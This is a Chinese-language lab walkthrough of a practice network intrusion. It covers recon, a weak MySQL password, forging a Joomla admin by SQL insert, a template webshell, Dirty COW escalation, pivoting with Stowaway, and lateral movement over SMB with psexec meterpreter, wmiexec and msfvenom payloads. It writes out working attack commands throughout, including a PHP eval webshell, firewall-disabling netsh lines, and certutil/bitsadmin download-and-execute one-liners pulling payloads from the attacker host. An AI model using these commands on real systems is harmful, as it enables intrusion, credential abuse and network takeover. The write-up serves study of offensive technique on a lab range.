RedSun03
简介
环境搭建时间: 2024-02-02 11:00
环境搭建
个人感觉环境搭建还是比较轻松
由于我们是黑盒测试,所以把所有的主机挂起就可以了
然后我们已知的cebnos的主机,我给他安装了一个nat网卡,模拟与kali属于同一个网络环境的情况,还要一个网卡与内网网段一致
其他的都是192.168.93网段的就可
信息收集
我们只知道存在与kali同网段的主机,但是并不知道是什么ip
所以直接就nmap收集有哪些主机

138 是我的主机,146应该就是centos的主机了
端口扫描

开了一个80端口的ngnix反向代理

有一个blog
使用xray进行扫描
尝试爆破mysql

弱密码
root:123
敏感目录扫描
发现robots.txt访问

接着访问

弱密码爆破
发现不行
访问配置文件

注意有波浪号


尝试访问
发现不行,经过思考这个应该是mysql的,经过尝试应该是Mysql的密码但是只是一个普通用户的密码
查看mysql的表

发现不能爆破出密码
尝试添加用户,根据joomla官方的方式添加
[如何恢复或重置管理员密码? - Joomla! Documentation](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#:~:text=添加新超级管理员使用r 1 导航到phpMyAdmin,选择Joomla的数据库! 站点中的左下拉列表框。 这将显示屏幕左侧的数据库表。 2 按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。 这将显示一个字段名为“Run,SQL query%2Fqueries on database<您的数据库>”。 3 删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。 4 使用下面的SQL查询添加另一个管理员帐户。)


就直接执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14-- Active: 1706849566963@@192.168.79.146@3306@joomla#umnbt_users
INSERT INTO
umnbt_users (
`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`
)
VALUES (
'Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()
);
INSERT INTO
umnbt_user_usergroup_map (`user_id`, `group_id`)
VALUES (LAST_INSERT_ID(), '8');发现不太行,但是发现了另一个users的表尝试写入
1
2
3
4
5
6
7
8
9
10
11
12
13-- Active: 1706849566963@@192.168.79.146@3306@joomla#am2zu_users
INSERT INTO
am2zu_users (
`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`
)
VALUES (
'Administrator2', 'admin123456', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()
);
INSERT INTO
am2zu_user_usergroup_map (`user_id`, `group_id`)
VALUES (LAST_INSERT_ID(), '8');然后登录

成功
web渗透
利用cve-2021-23132
【漏洞复现 CVE-2021-23132】Joomla远程代码执行漏洞 - StarCi - 博客园 (cnblogs.com)

搜索,发现这个
修改路径为根目录


删除/administrator/components/com_users/config.xml
我是工作目录换到这个/administrator/components/com_users,然后删除的
然后上传新的config.xml
发现上传会有一点小问题,所以改变策略直接修改模板


成功
mysql 日志反弹shell
首先得找到网站的根目录
根据后台,所以猜测是/var/www/html
尝试一下
1
2
3
4
5
6
7SHOW VARIABLES LIKE 'general%';
set global general_log = on;
set global general_log_file = '/var/www/html/index.php';
select '<?php eval($_POST[cmd]);?>';发现不能上传

发现写入不了

将mysql 日志记录关了
上传msf
连接之后发现并不能执行命令

只能找找文件里面有哪些内容是可以使用的

尝试使用ssh连接一下

发现能连接,但是感觉这个方式太不常见了
还可以尝试绕过
我想直接修改php.ini文件,发现并不行
发现蚁剑的插件可以绕过

发现回显还是有点问题,所以将回显放入文件里面

但是发现执行不了payload
通过发现,好像使用antsword和直接使用ssh的结果不一样
尝试使用ssh上传payload

直接反弹……
提权
这里发现使用的内核很低,可以尝试使用使用脏牛提权

上传脏牛
1
https://github.com/FireFart/dirtycow1
gcc -pthread dirty.c -o dirty -lcrypt他会创建一个角色
1
firefart 123456
提权成功
环境分析
现在出现了两个主机
第一个是ngnix代理服务的机器
一个是真实的,使用ssh 连接的是真实的主机
搭建代理
我这里使用的是stowaway
先在本地运行
1
2chmod +x admin
./admin -l 8987 -s hack然后使用agent连接就好了,agent运行到受害者
1
./agent -c 192.168.79.138 -s hack输入topo发现已经有一个连接

内网信息收集
查看当前网段

使用fscan查看内网信息


使用nmap扫描端口信息

横向移动
尝试对三台主机进行445 永恒之蓝利用
发现利用失败
1433端口利用
发现是sql server的服务
尝试弱口令爆破,发现没有用
尝试对smb服务进行爆破
使用msf的smb_login模块
1
2
3
4
5search smb_login
use
show options
set PASS_FILE path
set SMBUser
发现30的密码

20的密码
使用hydra

尝试利用smb
1
2
3
4
5
6
7
8
9
10
11use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
exploit
只有一台30的主机利用成功
迁移进程
1
migrate pid都将进程迁移到lsaa.exe
然后联动cs
传递不了
关闭防火墙
1
netsh advfirewall set publicprofile state off打开远程桌面服务
1
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1尝试连接连接不上
发现命令执行收到很大的限制
使用wmiexec
1
2proxychains wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
proxychains wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'成功反弹shell
发现100存在python2
生成一个正向的payload ,然后使用100主机的http.server服务
查看20 主机是32 or 64位机器
1
systeminfo
为了保险我省32和64一样生成了一个
1
2msfvenom -p windows/meterpreter/bind_tcp lport=10668 -f exe -o bind32.exe
msfvenom -p windows/meterpreter/bind_tcp lport=10669 -f exe -o bind.exe然后使用http.server传输文件(也可以使用scp)都比较方便

再由100开启http服务1
python -m SimpleHTTPServer 8080在windows 上下载文件的方式有很多,现在使用certutil
1
2
3
4下载文件
certutil.exe -urlcache -split -f http://192.168.79.138/win7.exe c:\win7.exe & start c:\win7.exe
清楚缓存
certutil.exe -urlcache -split -f http://192.168.79.138/win7.exe delete
拿下20
换一个进程


现在的权限就是system了

同理对10主机、
但是一直一直利用不上
尝试对20 联动cs
失败
尝试cs 的payload

不知道为什么上线不了cs
对20主机开启远程桌面

发现成功,但是还有10主机,这个应该是一个域控
尝试使用20主机(winserver 2008)作为smb服务器
重新创建一个bind payload

然后传递给100主机
老方法下载payload
1 | |
确实下载了,但是不能执行
尝试关闭防火墙
1 | |
还是没有用,那就只有使用前面反弹的shell了
总结
全部主机都上线了,但是域控查找了资料好像都没有上线,这个是一个遗憾
信息收集部分
很意外的mysql是一个弱口令,然后直接获取root的权限
通过信息收集也获取了其他用户的密码
信息收集的步骤中
对于靶场来说,最重要的就是端口收集了,可以收集到对应的服务,然后通过服务查找相应的漏洞,或者通过通过80web漏洞Joomla的配置文件利用注意添加波浪线
注意添加用户的方法
web 渗透
Joomla 中查找文件,编辑代码的时候,注意需要添加路径
对模板的利用中,注意将一句话木马写在稍微前面一点不然不能利用
还有就是有一些文件的话最好不要删除
这个部分是有ngnix反向代理
注意得到的shell是反向代理的客户端的不是主机的
这个分辨是因为webshell和ssh通一个地址是不一样的shell
可以直接暂时的关闭ngnix
通过ssh连接,靶场直接给密码了,这个应该不会遇到,得学习一下如何绕过ngnix
还有就是绕过php disable_function 可以使用蚁剑的插件
linux提权的时候使用脏牛进行提权
内网信息收集
主机存活检测,使用的是fscan
但是这个有一个好处就是不用自指定其他的参数,全部进行
如果使用的是nmap的话可以使用
1
2
3
4
5
6
7主机存活探测
nmap -sS (SYN扫描) 或 nmap -sN (NULL扫描) 或 nmap -sF (FIN扫描) 或 nmap -sX (Xmas扫描)
nmap -sn [目标IP地址或子网掩码/CIDR表示法]
某一个主机的端口扫描
nmap -sT -p- [目标IP或域名]
获取操作系统信息
nmap -O -sV -T4 [目标IP或域名]最主要的还是对每一个主机进行端口扫描
横向移动
个人现阶段,思路还不够多
使用msf smb_login
可以爆破密码,但是密码必须要强大
msf单个模块使用代理的方式
1
set proxies socks5:ip:port或者使用setg全局设置
hydra 也可以爆破smb服务
1
hydra -l administrator -P(大写) /home/kali/password.txt(字典路径) 192.168.93.10 smbexploit/windows/smb/psexec
smb 服务的利用模块
wmiexec
可以反弹shell
但是感觉有很多限制
防火墙
1
2
3
4关闭防火墙
netsh advfirewall set allprofiles state off
开启防火墙
netsh advfirewall show allprofiles使用smb服务
连接的时候需要指定具体的盘符
1
net use \\192.168.93.20\c$ /user:administrator "123qwe!ASD"下载文件
1
2copy \\192.168.79.138\c$\filename save_name # 默认保存到当前的文件
copy \\192.168.93.20\c$\bind32_2012.exe bind32_2012.exe文件传输
除了使用smb服务还可以使用其他的服务
1
certutil.exe -urlcache -split -f http://192.168.93.100:8080/bind.exe c:\bind.exe & start c:\bind.exe或者
1
bitsadmin /transfer shell http://192.168.93.100:8080/bind32.exe C:\bind32.exe;start C:\windows\temp\bind32.exe使用代理开启远程桌面
1
proxychains rdesktop -u administrator -p 'zxcASDqw123!!' 192.168.93.10